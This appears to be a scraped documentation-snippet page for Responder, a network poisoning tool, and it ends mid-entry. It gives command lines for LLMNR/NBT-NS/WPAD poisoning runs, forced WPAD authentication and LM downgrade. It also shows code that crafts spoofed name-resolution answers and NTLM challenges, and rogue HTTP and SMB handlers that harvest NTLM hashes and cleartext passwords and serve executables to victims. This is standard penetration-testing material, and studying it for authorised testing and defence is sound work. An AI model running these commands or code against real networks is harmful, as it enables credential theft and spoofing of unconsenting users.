Responder

https://github.com/spiderlabs/responder
Admin
Responder is a LLMNR, NBT-NS, and MDNS poisoner that acts as a stealthy network tool to capture...
Tokens:43,848
Snippets:344
Trust Score:-
License:GPL-3.0
Update:2 weeks ago
Show doc for...
Tokens:
Raw
### Usage example: start WPAD proxy with upstream relay

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/servers-http-proxy.md

Command to start the WPAD proxy with upstream relay and forced auth on wpad.dat.

```bash
# Start the WPAD proxy with upstream relay and forced auth on wpad.dat:
./Responder.py -I eth0 -w -u proxy.corp.local:3128 -F
```

--------------------------------

### Run Responder with default options

Source: https://github.com/spiderlabs/responder/blob/master/README.md

Starts Responder using default settings. Requires a network interface specified with -I.

```bash
./Responder.py [options]
```

--------------------------------

### Utility Functions Usage Example

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/utils.md

Example usage of RespondToThisHost, SaveToDb, Decode_Name, and color functions from utils.py.

```APIDOC
## Utility Functions Usage Example

### Description
Demonstrates how to use the utility functions `Decode_Name`, `RespondToThisHost`, `SaveToDb`, and `color` from the `utils` module.

### Functions Used
- **Decode_Name(raw_nbns_payload[13:45])** - Decodes a NetBIOS name from the raw NBNS payload.
- **RespondToThisHost(client_ip, name)** - Checks if the host should receive a poisoned answer.
- **SendPoisonedAnswer(...)** - Sends a poisoned answer (not detailed here).
- **SaveToDb(data)** - Saves a record to the database. The `data` dict schema is described in `types.md`.
- **color(text, color_code, style)** - Returns a colored string for terminal output.

### Example Code
```python
from utils import RespondToThisHost, SaveToDb, Decode_Name, color

name = Decode_Name(raw_nbns_payload[13:45])
if RespondToThisHost(client_ip, name):
    SendPoisonedAnswer(...)

SaveToDb({
    'module': 'SMB',
    'type': 'NTLMv2',
    'client': client_ip,
    'user': 'DOMAIN\\bob',
    'hash': nt_hash,
    'fullhash': '$hash_line',
})
print color('[+] saved', 2, 1)
```
```

--------------------------------

### Usage example for utility functions

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/utils.md

Shows how to use Decode_Name, RespondToThisHost, SendPoisonedAnswer, and SaveToDb. It decodes a NetBIOS name from a raw payload, checks if the host should be responded to, sends a poisoned answer, and saves the hash to the database.

```python
from utils import RespondToThisHost, SaveToDb, Decode_Name, color

name = Decode_Name(raw_nbns_payload[13:45])
if RespondToThisHost(client_ip, name):
    SendPoisonedAnswer(...)

SaveToDb({
    'module': 'SMB',
    'type': 'NTLMv2',
    'client': client_ip,
    'user': 'DOMAIN\\bob',
    'hash': nt_hash,
    'fullhash': '$hash_line',
})
print color('[+] saved', 2, 1)
```

--------------------------------

### Programmatic equivalent: wire HTTP_Proxy handler

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/servers-http-proxy.md

Shows how to programmatically start the HTTP proxy server on port 3141 using the HTTP_Proxy handler.

```python
# programmatic equivalent: the handler is wired by Responder.py main()
from servers.HTTP_Proxy import HTTP_Proxy
serve_thread_tcp('', 3141, HTTP_Proxy)
```

--------------------------------

### Error handling example

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/responder.md

Shows the error output when a server fails to bind, such as when the port is already in use. The script logs an error line but does not stop the remaining threads.

```bash
$ ./Responder.py -I eth0 -w
[!] Error starting TCP server on port 3141, check permissions or other servers running.
```

--------------------------------

### HTTP auth server with Basic auth and upstream proxy

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/responder.md

Starts an HTTP auth server that answers with Basic instead of NTLM, enables verbose output, and relays outbound proxy traffic through an upstream proxy at 10.0.0.1:8080.

```bash
./Responder.py -I eth0 -b -v -w -u 10.0.0.1:8080
```

--------------------------------

### Run BrowserListener.py passive browser listener

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/tools.md

Starts the passive browser listener. Parses UDP 138 browser datagrams (server announcements) and prints `> - <hostname> [<os>]` lines plus role bitfields. Imports `WorkstationFingerPrint`, `RequestType`, `RAPThisDomain`, and `RapFinger` from `servers.Browser`.

```bash
python tools/BrowserListener.py
```

--------------------------------

### color() function definition

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/utils.md

Defines the color() helper that applies ANSI color codes to text and logs to specific loggers based on content. If txt starts with '[*]' it logs to PoisonersLogger; if it contains 'Analyze' it logs to AnalyzeLogger. On Windows, returns plain text without ANSI codes.

```python
def color(txt, code = 1, modifier = 0):
	if txt.startswith('[*]'):
		settings.Config.PoisonersLogger.warning(txt)
	elif 'Analyze' in txt:
		settings.Config.AnalyzeLogger.warning(txt)
	if os.name == 'nt':  # No colors for windows...
		return txt
	return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
```

--------------------------------

### Initialize and use settings.Config

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/settings.md

Initializes the settings module and populates the Config object with options from optparse. Shows how to access configuration attributes like Bind_To, Challenge, and AnalyzeMode anywhere in the codebase.

```python
import settings

settings.init()                      # creates settings.Config (empty)
settings.Config.populate(options)    # options from optparse (see responder.md)

# then anywhere in the codebase:
ip = settings.Config.Bind_To
chal = settings.Config.Challenge
if settings.Config.AnalyzeMode:
    print "analyzing, not poisoning"
```

--------------------------------

### Settings.__init__ method

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/settings.md

Initializes the Settings instance with ResponderPATH set to the directory of settings.py and Bind_To set to '0.0.0.0'.

```python
def __init__(self):
	self.ResponderPATH = os.path.dirname(__file__)
	self.Bind_To = '0.0.0.0'
```

--------------------------------

### init() function

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/settings.md

Creates the module-global singleton settings.Config as an empty Settings() instance. Called once by Responder.py before populate().

```python
def init():
	global Config
	Config = Settings()
```

--------------------------------

### ANY [ANY]

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/endpoints.md

Serves executable files when Config.Serve_Always is enabled or Config.Serve_Exe is enabled and the URL contains .exe. The response is a 200 OK with the file as an attachment.

```APIDOC
## [ANY] [ANY]

### Description
Serves executable files when Config.Serve_Always is enabled or Config.Serve_Exe is enabled and the URL contains .exe. The response is a 200 OK with the file as an attachment.

### Method
ANY

### Endpoint
ANY

### Parameters
#### Query Parameters
- **URL** (string) - Required - Must contain .exe if Config.Serve_Exe is enabled.

### Response
#### Success Response (200)
- **Status**: 200 OK
- **Headers**: Content-Type: application/octet-stream, Content-Disposition: attachment; filename=<Exe_DlName> (or requested basename via proxy)
- **Body**: The executable file content.

#### Response Example
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=<Exe_DlName>
```

--------------------------------

### Capture-everything run with WPAD proxy and upstream relay

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/configuration.md

Run Responder on interface eth0 with WPAD proxy support (-w), upstream proxy at proxy.corp.local:3128 (-u), fingerprinting (-f), and verbose output (-v). This captures everything and relays through the specified proxy.

```bash
./Responder.py -I eth0 -w -u proxy.corp.local:3128 -f -f -v
```

--------------------------------

### ANY [ANY]

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/endpoints.md

Serves HTML files when Config.Serve_Html is enabled. The response is a 200 OK with Content-Type text/html.

```APIDOC
## [ANY] [ANY]

### Description
Serves HTML files when Config.Serve_Html is enabled. The response is a 200 OK with Content-Type text/html.

### Method
ANY

### Endpoint
ANY

### Parameters
#### Query Parameters
- **URL** (string) - Required - Any path.

### Response
#### Success Response (200)
- **Status**: 200 OK
- **Headers**: Content-Type: text/html
- **Body**: The HTML file content.

#### Response Example
HTTP/1.1 200 OK
Content-Type: text/html
```

--------------------------------

### populate method signature

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/settings.md

Reads Responder.conf from ResponderPATH via ConfigParser and assigns attributes. options is the optparse.Values object from Responder.py.

```python
def populate(self, options):
```

--------------------------------

### ANY [ANY]

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/endpoints.md

Handles Basic authentication requests to the rogue HTTP/HTTPS auth server. The server decodes the user:pass from the Authorization header, saves an HTTP/Basic record, and responds with 200 OK and the configured HTML to inject (or forced WPAD script).

```APIDOC
## [ANY] [ANY]

### Description
Handles Basic authentication requests to the rogue HTTP/HTTPS auth server. The server decodes the user:pass from the Authorization header, saves an HTTP/Basic record, and responds with 200 OK and the configured HTML to inject (or forced WPAD script).

### Method
ANY

### Endpoint
ANY

### Parameters
#### Request Headers
- **Authorization** (string) - Required - Must be `Basic <base64>` where the decoded value is `user:pass`.

### Response
#### Success Response (200)
- **Status**: HTTP/1.1 200 OK
- **Body**: Config.HtmlToInject, or forced WPAD script if Config.Force_WPAD_Auth and path matches /wpad.dat or .pac.

#### Response Example
HTTP/1.1 200 OK

<Config.HtmlToInject>
```

--------------------------------

### OptionParser construction in Responder.py

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/responder.md

Constructs the optparse OptionParser with usage string, version, and program name. Evaluated at module import time before main() runs.

```python
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0])
```

--------------------------------

### ANY [ANY]

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/endpoints.md

Serves a WPAD PAC script when the URL contains /wpad.dat or *.pac and Config.Force_WPAD_Auth is off. The response is a 200 OK with Content-Type application/x-ns-proxy-autoconfig.

```APIDOC
## [ANY] [ANY]

### Description
Serves a WPAD PAC script when the URL contains /wpad.dat or *.pac and Config.Force_WPAD_Auth is off. The response is a 200 OK with Content-Type application/x-ns-proxy-autoconfig.

### Method
ANY

### Endpoint
ANY

### Parameters
#### Query Parameters
- **URL** (string) - Required - Must contain /wpad.dat or *.pac.

### Response
#### Success Response (200)
- **Status**: 200 OK
- **Headers**: Content-Type: application/x-ns-proxy-autoconfig
- **Body**: Config.WPAD_Script

#### Response Example
HTTP/1.1 200 OK
Content-Type: application/x-ns-proxy-autoconfig

<Config.WPAD_Script>
```

--------------------------------

### Packet.__init__(self, **kw)

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/packets.md

Initializes a Packet instance by copying the class-level fields OrderedDict and applying keyword overrides. Values can be plain values or callables that transform the current field value.

```APIDOC
## Packet.__init__(self, **kw)

### Description
Initializes a Packet instance. Copies the class-level `fields` OrderedDict and applies keyword overrides. Each keyword argument can be a plain value (assigned verbatim) or a callable (invoked with the current field value, and the result assigned).

### Method
Constructor

### Signature
`__init__(self, **kw)`

### Parameters
- **kw** (keyword arguments) - Optional - Overrides for named fields. Values may be plain values or callables.

### Behavior
- Copies `self.__class__.fields` into a new OrderedDict per instance.
- For each keyword argument, if the value is callable, it is called with the current field value and the result is assigned; otherwise the value is assigned directly.

### Example
```python
packet = MyPacket(field1="value", field2=lambda current: current + "suffix")
```
```

--------------------------------

### Basic poisoning run with -wrf flags

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/responder.md

Runs Responder.py with the -I, -w, -r, and -f flags to enable LLMNR, NBT-NS, WPAD, wredir, and fingerprinting on the specified interface.

```bash
./Responder.py -I eth0 -wrf
```

--------------------------------

### Catch per-module errors in consumer code (Python)

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/errors.md

Shows four error-handling patterns for Responder consumer code: 1) startup validation checks euid and raises SystemExit if not root; 2) config errors from ConfigParser are caught during settings.Config.populate(); 3) packet builders like LLMNR_Ans throw struct.error or IndexError on bad input; 4) SaveToDb may raise sqlite3.Error on DB corruption. Use this as a reference for handling errors in your own consumer code.

```python
# 1. Startup validation — checked before any listener starts
if os.geteuid() != 0:
    # Responder.py exits -1; check euid yourself:
    raise SystemExit("must run as root")

# 2. Config errors propagate from ConfigParser into populate()
try:
    settings.Config.populate(options)
except (ConfigParser.NoSectionError, ConfigParser.NoOptionError) as e:
    print "bad Responder.conf:", e

# 3. Packet builders throw standard struct errors on bad input
from packets import LLMNR_Ans
try:
    b = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
except (struct.error, IndexError) as e:
    print "malformed query:", e

# 4. SaveToDb handles its own persistence; failures inside sqlite
#    operations are uncaught and propagate to the caller's handler loop
from utils import SaveToDb
SaveToDb(result)  # may raise sqlite3.Error on DB corruption
```

--------------------------------

### ANY [ANY]

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/endpoints.md

Handles NTLM Type-3 messages sent to the rogue HTTP/HTTPS auth server. The server parses the hash and saves an HTTP/NTLMv1 or HTTP/NTLMv2 record, then responds with 200 OK and the configured HTML to inject, unless forced WPAD auth is enabled and the path matches /wpad.dat or .pac.

```APIDOC
## [ANY] [ANY]

### Description
Handles NTLM Type-3 messages sent to the rogue HTTP/HTTPS auth server. The server parses the hash and saves an HTTP/NTLMv1 or HTTP/NTLMv2 record, then responds with 200 OK and the configured HTML to inject, unless forced WPAD auth is enabled and the path matches /wpad.dat or .pac.

### Method
ANY

### Endpoint
ANY

### Parameters
#### Request Headers
- **Authorization** (string) - Required - Must be `NTLM <base64>` where the decoded byte 8 equals `\x03`.

### Response
#### Success Response (200)
- **Status**: HTTP/1.1 200 OK
- **Headers**: Content-Length: <len>
- **Body**: Config.HtmlToInject, unless Config.Force_WPAD_Auth and path matches /wpad.dat or .pac, in which case the WPAD PAC script is returned.

#### Response Example
HTTP/1.1 200 OK
Content-Length: <len>

<Config.HtmlToInject>
```

--------------------------------

### LM downgrade mode with --lm flag

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/configuration.md

Enable LM downgrade mode, which switches the SMB server to SMB1LM and delivers the challenge as the LM key. Use this to force older authentication protocols.

```bash
./Responder.py -I eth0 --lm
```

--------------------------------

### ExpandIPRanges method

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/settings.md

Expands each entry of self.RespondTo and self.DontRespondTo in place using expand_ranges. Each entry must be a dotted quad with optional lo-hi ranges.

```python
self.RespondTo = expand_ranges(self.RespondTo)
self.DontRespondTo = expand_ranges(self.DontRespondTo)
```

--------------------------------

### Settings.toBool method

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/settings.md

Converts Responder.conf On/Off values to booleans. Returns True only for the exact string 'ON'.

```python
def toBool(self, str):
	return str.upper() == 'ON'
```

--------------------------------

### RespondToThisHost: combine IP and name checks

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/utils.md

Returns True only if both RespondToThisIP and RespondToThisName return True. Used to decide whether to respond to a given client IP and name.

```python
def RespondToThisHost(ClientIp, Name):
	return RespondToThisIP(ClientIp) and RespondToThisName(Name)
```

--------------------------------

### Custom challenge and targeted responses in Responder.conf

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/configuration.md

Configure a custom challenge value and restrict responses to specific IP ranges and hostnames. The Challenge must be a hex string; RespondTo accepts comma-separated IP ranges; DontRespondToName lists hostnames to ignore; AutoIgnoreAfterSuccess enables automatic ignoring after a successful hash capture.

```ini
# Responder.conf
[Responder Core]
Challenge = 0011223344556677
RespondTo = 10.20.1.100-150, 10.20.3.10
DontRespondToName = NAC, IPS
AutoIgnoreAfterSuccess = On
```

--------------------------------

### LM downgrade with OSX-specific IP binding

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/responder.md

Runs Responder.py with LM downgrade enabled and binds to a specific IP address on an OSX interface.

```bash
./Responder.py -I en0 -i 192.168.1.10 --lm
```

--------------------------------

### DNS_Ans.calculate method

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/packets.md

Populates Tid, QuestionName, IP, and IPLen fields for a DNS answer packet. The IP length is packed as a big-endian short.

```python
def calculate(self,data):
	self.fields["Tid"] = data[0:2]
	self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
	self.fields["IP"] = settings.Config.IP_aton
	self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
```

--------------------------------

### Run FindSMB2UPTime.py against a DC

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/tools.md

Checks a domain controller for SMBv2 boot time and MS14-068 vulnerability. Requires a DC IP address as the single argument.

```bash
python tools/FindSMB2UPTime.py <DC-IP>
```

--------------------------------

### ANY [ANY]

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/endpoints.md

Handles unauthenticated requests to the rogue HTTP/HTTPS auth server. Any method and path are accepted; the server responds with a 401 Unauthorized and solicits authentication via the WWW-Authenticate header.

```APIDOC
## [ANY] [ANY]

### Description
Handles unauthenticated requests to the rogue HTTP/HTTPS auth server. Any method and path are accepted; the server responds with a 401 Unauthorized and solicits authentication via the WWW-Authenticate header.

### Method
ANY

### Endpoint
ANY

### Parameters
#### Request Body
- none required

### Response
#### Success Response (401)
- **Status**: HTTP/1.1 401 Unauthorized
- **Headers**: Server: Microsoft-IIS/6.0, X-Powered-By: ASP.NET, Content-Length: 0, WWW-Authenticate: NTLM (default) or Basic realm="Authentication Required" (+ Access-Control-Allow-* CORS headers)
- **Body**: IIS_Basic_401_Ans if Config.Basic, else IIS_Auth_401_Ans

#### Response Example
HTTP/1.1 401 Unauthorized
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 0
WWW-Authenticate: NTLM
```

--------------------------------

### Hash filename format

Source: https://github.com/spiderlabs/responder/blob/master/README.md

Defines the naming convention for captured hash files. The format is (MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt, where MODULE_NAME is the Responder module, HASH_TYPE is the hash type, and CLIENT_IP is the client's IP address.

```text
(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt
```

--------------------------------

### ANY [ANY]

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/endpoints.md

Handles NTLM Type-1 messages sent to the rogue HTTP/HTTPS auth server. The server responds with a 401 Unauthorized and a Type-2 challenge in the WWW-Authenticate header.

```APIDOC
## [ANY] [ANY]

### Description
Handles NTLM Type-1 messages sent to the rogue HTTP/HTTPS auth server. The server responds with a 401 Unauthorized and a Type-2 challenge in the WWW-Authenticate header.

### Method
ANY

### Endpoint
ANY

### Parameters
#### Request Headers
- **Authorization** (string) - Required - Must be `NTLM <base64>` where the decoded byte 8 equals `\x01`.

### Response
#### Success Response (401)
- **Status**: HTTP/1.1 401 Unauthorized
- **Key Header**: WWW-Authenticate: NTLM <base64 Type-2 challenge>
- **Body**: IIS_NTLM_Challenge_Ans wrapping NTLM_Challenge(ServerChallenge=Config.Challenge)

#### Response Example
HTTP/1.1 401 Unauthorized
WWW-Authenticate: NTLM <base64 Type-2 challenge>
```

--------------------------------

### OsNameClientVersion(data) — fingerprint.py:24

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/fingerprint.md

Parses the server response to extract the OS version and LAN Manager client version. Returns a (OsVersion, ClientVersion) tuple of strings; on any parse failure it returns the fallback strings "Could not fingerprint Os version." and "Could not fingerprint LanManager Client version".

```python
def OsNameClientVersion(data):
	try:
		length = struct.unpack('<H',data[43:45])[0]
		pack = tuple(data[47+length:].split('\\x00\\x00\\x00'))[:2]
		OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
		return OsVersion, ClientVersion
	except:
	 	return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
```

--------------------------------

### handle method in Browser class

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/servers-misc.md

Handles incoming UDP datagrams on port 138. In analyze mode, it calls ParseDatagramNBTNames and BecomeBackup, and always calls BecomeBackup. The handler is passive and never sends responses.

```python
def handle(self):
	try:
		request, socket = self.request
		if settings.Config.AnalyzeMode:
			ParseDatagramNBTNames(request,self.client_address[0])
			BecomeBackup(request,self.client_address[0])
		BecomeBackup(request,self.client_address[0])
	except Exception:
		pass
```

--------------------------------

### text(txt)

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/utils.md

Logs text at INFO level and returns it with bracketed tokens wrapped in blue. Used for all captured-hash console output.

```APIDOC
## text(txt)

### Description
Logs text at INFO level and returns it with bracketed tokens wrapped in blue. Used for all captured-hash console output.

### Method
Function

### Signature
```python
def text(txt)
```

### Parameters
- **txt** (str) - Required - Text to log and format

### Returns
- The formatted string with `[...]` tokens wrapped in blue, or plain `txt` on Windows.

```

--------------------------------

### fingerprint.py

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/fingerprint.md

Functions for passive SMBv1 host fingerprinting.

```APIDOC
## `def OsNameClientVersion(data)` — `fingerprint.py:24`

### Description
Parses the OS name and LAN Manager client version strings from an SMBv1 negotiate/session-setup response. Returns a tuple of strings, or a fallback error tuple on parse failure.

### Parameters
- **data** (bytes) - Required - The raw SMB response data to parse.

### Returns
- `(OsVersion, ClientVersion)` tuple of strings on success.
- `("Could not fingerprint Os version.", "Could not fingerprint LanManager Client version")` on parse failure.
```

```APIDOC
## `def RunSmbFinger(host)` — `fingerprint.py:33`

### Description
Connects to a host's port 445, performs a passive SMBv1 negotiate + NTLMSSP session-setup, and returns the OS and client version strings from the server response. Used by LLMNR/NBTNS poisoners and SMBRelay.

### Parameters
- **host** (tuple `(str, int)`) - Required - `(ip, port)` — callers pass `(ip, 445)`.

### Returns
- `(OsVersion, ClientVersion)` tuple on success.
- `None` on connection/protocol failure (prints `[!] Fingerprint failed`).
```

--------------------------------

### Module version constant

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/settings.md

Defines the module version string. Used to identify the Responder version.

```python
__version__ = 'Responder 2.3'   # settings.py:23
```

--------------------------------

### Craft LLMNR answer and NTLM challenge over HTTP

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/packets.md

Shows how to build an LLMNR answer packet and an NTLM type-2 challenge over HTTP using packet classes from packets.py. The LLMNR answer mimics poisoners/LLMNR.py lines 57-58, and the NTLM challenge mimics servers/HTTP.py lines 166-169. Requires settings.Config.Challenge to be set.

```python
from packets import LLMNR_Ans, NTLM_Challenge, IIS_NTLM_Challenge_Ans

# answer a LLMNR query (mimics poisoners/LLMNR.py:57-58)
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
Buffer.calculate()
soc.sendto(str(Buffer), client_addr)

# issue an NTLM type-2 challenge over HTTP (mimics servers/HTTP.py:166-169)
Challenge = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
Challenge.calculate()
Answer = IIS_NTLM_Challenge_Ans()
Answer.calculate(str(Challenge))
return str(Answer)
```

--------------------------------

### socket_proxy method

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/servers-http-proxy.md

Builds a ProxySock from the Upstream_Proxy setting. Defaults to port 8080 if parsing fails.

```python
def socket_proxy(self, af, fam):
	Proxy = settings.Config.Upstream_Proxy
	Proxy = Proxy.rstrip('/').replace('http://', '').replace('https://', '')
	Proxy = Proxy.split(':')
	try:    Proxy = (Proxy[0], int(Proxy[1]))
	except: Proxy = (Proxy[0], 8080)
	soc = socket.socket(af, fam)
	return ProxySock(soc, Proxy[0], Proxy[1])
```

--------------------------------

### LLMNR_Ans constructor usage from poisoners/LLMNR.py

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/packets.md

Shows how to create an LLMNR_Ans packet with a Tid, QuestionName, and AnswerName, then call calculate() to populate the fields.

```python
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
Buffer.calculate()
```

--------------------------------

### Return fingerprint tuple from RunSmbFinger

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/types.md

Returns a tuple of OS and client version strings on success, or a tuple of error messages on failure. Consumed by poisoners/LLMNR.py, poisoners/NBTNS.py, and tools/SMBRelay.py.

```python
return OsVersion, ClientVersion
# on failure:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
```

--------------------------------

### NBT_Ans.calculate method

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/packets.md

Populates the Tid, NbtName, and IP fields of an NBT_Ans packet from the received data. The IP is taken from the global configuration.

```python
def calculate(self,data):
	self.fields["Tid"] = data[0:2]
	self.fields["NbtName"] = data[12:46]
	self.fields["IP"] = settings.Config.IP_aton
```

--------------------------------

### RapFinger function in Browser.py

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/servers-misc.md

Attempts to connect to the target host on port 445 and sets a 0.3 second timeout. The function is part of the SMB client sequence for RAP NetServerEnum3 queries, but the full implementation is not shown here.

```python
def RapFinger(Host, Domain, Type):
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((Host,445))
		s.settimeout(0.3)
		# SMB negotiate -> anonymous session setup -> tree connect \\<Host>\IPC$
		# -> Trans2 NetServerEnum3 -> ParsePacket(data)
	except:
		pass
```

--------------------------------

### Hash capture flow comment

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/servers-smb.md

Comment describing the hash capture flow when a Windows client authenticates to the rogue share.

```python
# hash capture flow when a Windows client authenticates to the rogue share:
#   client SMB negotiate -> SMB1 replies SPNEGO/Kerberos advert
#   client session-setup (NTLMSSP negotiate) -> SMB1 sends NTLM Type-2 challenge
#   client sends NTLMSSP_AUTH -> ParseSMBHash -> SaveToDb -> JtR hash in logs/
```

--------------------------------

### LLMNR_Ans.calculate method

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/packets.md

Populates IP, IPLen, AnswerNameLen, and QuestionNameLen fields for an LLMNR answer packet. The name lengths are packed as big-endian shorts.

```python
def calculate(self):
	self.fields["IP"] = settings.Config.IP_aton
	self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
	self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
	self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]
```

--------------------------------

### IsNT4ClearTxt - Extract NT4 cleartext credentials

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/servers-smb.md

Detects NT4-style cleartext session-setup by checking flags \x03\x80. When the chained command is a tree-connect (\x75), extracts and writes user:password via WriteData.

```python
def IsNT4ClearTxt(data, client):
	HeadLen = 36
	if data[14:16] == "\x03\x80":
		...
		if ChainedCmdOffset == "\x75":
			PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
			if PassLen > 2:
				Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
				User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
				print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
				WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
```

--------------------------------

### color(txt, code = 1, modifier = 0)

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/utils.md

Formats text with ANSI color codes and logs it to specific loggers based on content. Returns the ANSI-wrapped string, or plain text on Windows.

```APIDOC
## color(txt, code = 1, modifier = 0)

### Description
Formats text with ANSI color codes and logs it to specific loggers based on content. Returns the ANSI-wrapped string, or plain text on Windows.

### Method
Function

### Signature
```python
def color(txt, code = 1, modifier = 0)
```

### Parameters
- **txt** (str) - Required - Text to print/log
- **code** (int) - Optional (default: 1) - ANSI color code (1=red, 2=green, 3=yellow, 4=blue, 5=magenta)
- **modifier** (int) - Optional (default: 0) - ANSI modifier (bold = 1)

### Side Effects
- If `txt` starts with `[*]`, it is written to `PoisonersLogger`.
- If `txt` contains `Analyze`, it is written to `AnalyzeLogger`.

### Returns
- The ANSI-wrapped string, or plain `txt` on Windows.

```

--------------------------------

### Disable dnsmasq in NetworkManager.conf

Source: https://github.com/spiderlabs/responder/blob/master/README.md

Edit /etc/NetworkManager/NetworkManager.conf and comment the line `dns=dnsmasq` to prevent dnsmasq from interfering with Responder. Then kill dnsmasq as root with the command shown.

```bash
killall dnsmasq -9
```

--------------------------------

### MDNS_Ans.calculate method

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/packets.md

Populates the IPLen field for an mDNS answer packet. The IP length is packed as a big-endian short.

```python
def calculate(self):
	self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
```

--------------------------------

### odict.py

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/fingerprint.md

Provides an insertion-ordered dictionary class.

```APIDOC
## `class OrderedDict(dict, DictMixin)` — `odict.py:17`

### Description
A `dict` subclass that preserves insertion order. Provides ordered iteration, popitem, copy, fromkeys, equality, and repr methods.

### Methods
- `__init__(self, *args, **kwds)` - Initializes the ordered dict. Raises `TypeError` if more than one positional argument is given.
- `__setitem__(key, value)` - Appends key to the ordering chain and stores the value.
- `__delitem__(key)` - Removes key from the chain and dict.
- `__iter__` - Yields keys in insertion order.
- `__reversed__` - Yields keys in reverse insertion order.
- `popitem(last=True)` - Pops last (`last=True`) or first (`last=False`) item; raises `KeyError` when empty.
- `keys()` - Returns `list(self)` (ordered).
- `items()` / `values()` / `pop` / `update` / `setdefault` / `iterkeys` / `itervalues` / `iteritems` - Inherited from `DictMixin`.
- `copy()` - Returns `self.__class__(self)`.
- `fromkeys(iterable, value=None)` - Classmethod building an ordered dict.
- `__eq__` / `__ne__` - Order-sensitive equality between two `OrderedDict`s; falls back to `dict.__eq__` against other types.
- `__repr__` - Returns `OrderedDict([(k, v), ...])`.
- `__reduce__` - Pickle support.
```

--------------------------------

### SaveToDb function definition

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/utils.md

Defines SaveToDb, which persists a captured credential. The result dict must contain fields like module, type, client, hostname, user, cleartext, hash, and fullhash. Missing keys default to empty strings, and records with user length less than 2 are dropped.

```python
def SaveToDb(result):
```

--------------------------------

### def hexdump(src, l=0x16)

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/utils.md

Returns a hexdump string of the input data in rows of l bytes with an ASCII gutter.

```APIDOC
